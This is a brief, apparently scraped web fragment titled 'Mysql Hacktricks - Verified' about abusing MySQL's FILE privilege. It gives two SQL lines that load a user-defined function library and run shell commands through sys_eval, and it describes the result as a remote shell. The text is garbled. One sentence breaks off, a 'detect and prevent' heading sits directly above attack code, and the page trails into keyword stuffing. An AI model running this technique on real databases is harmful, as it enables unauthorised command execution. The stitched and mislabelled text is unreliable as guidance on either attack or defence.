Mysql Hacktricks - Verified

With GRANT FILE ON *.*, an attacker can perform:

To detect and prevent MySQL attacks:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('whoami');

This effectively turns the database into a remote shell, bypassing file system restrictions that block webshell writing. mysql hacktricks verified